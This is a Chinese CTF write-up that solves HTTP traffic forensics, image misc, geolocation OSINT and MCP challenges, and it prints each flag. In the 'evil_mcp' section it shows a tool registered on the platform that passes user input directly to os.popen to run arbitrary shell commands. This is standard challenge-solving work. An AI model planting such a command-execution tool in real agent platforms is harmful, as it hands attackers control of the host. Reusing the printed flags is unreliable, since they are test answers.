HTTP
题目叫http 于是用http作为过滤器

右键追踪流看到Base64的 拼接即可

SYC{R_U_A_F0R3NS1C5_MASTER?}
Bite off picture
只有我做misc的第一步是打开010吗

==gcyV2dyV2d
d2Vyd2Vycg==``From Base64获得werwerr压缩包密码

010打开发现CRC有问题 修改宽高

SYC{mi3c_13_really_fun!!!!!}
🗃️🗃️
GSBP师傅在外出比赛结束后,打算到当地景点游览一番,他到了一个景点之后,感觉环境非常不错,让人心旷神怡,于是拍了张图片发到了社交媒体。你是一名小黑客,你能找到他现在在哪里吗 flag为SYC{城市_景点名称} 示例:SYC{成都市_武侯祠}


网页版高德地图
116.40,39.88



SYC{北京市_天坛公园}

SYC{Im_waiting_for_Sakura_t0_become_a_top_pwn_master}
evil_mcp
mcp是啥?和ai还有关系吗,看一看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from typing import Any
# 平台会自动注入 ToolResult / ToolExecutionContext / tool @tool( name="echo_agent", description="示例:返回用户输入,并展示会话与调用信息", input_schema={ "type": "object", "properties": { "text": { "type": "string", "description": "需要原样返回的文本" } }, "required": ["text"] } ) async def echo_agent(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult: content = ( f"Echo: {arguments['text']} " f"session_id={context.session_id}, invocation_id={context.invocation_id}" ) return ToolResult(content=content)
# 将工具实例暴露给平台 # 如果使用 @tool 装饰器,最终需要赋值给名为 tool 的变量 # tool = echo_agent # 如果需要显式指定,可以保留这一行
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from typing import Any import os
@tool( name="cmdline", description="输入命令,返回命令执行结果", input_schema={ "type": "object", "properties": { "text": { "type": "string", "description": "需要执行的命令" } }, "required": ["text"] } ) async def cmd(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult: content = ( os.popen(arguments['text']).read() ) return ToolResult(content=content)
|
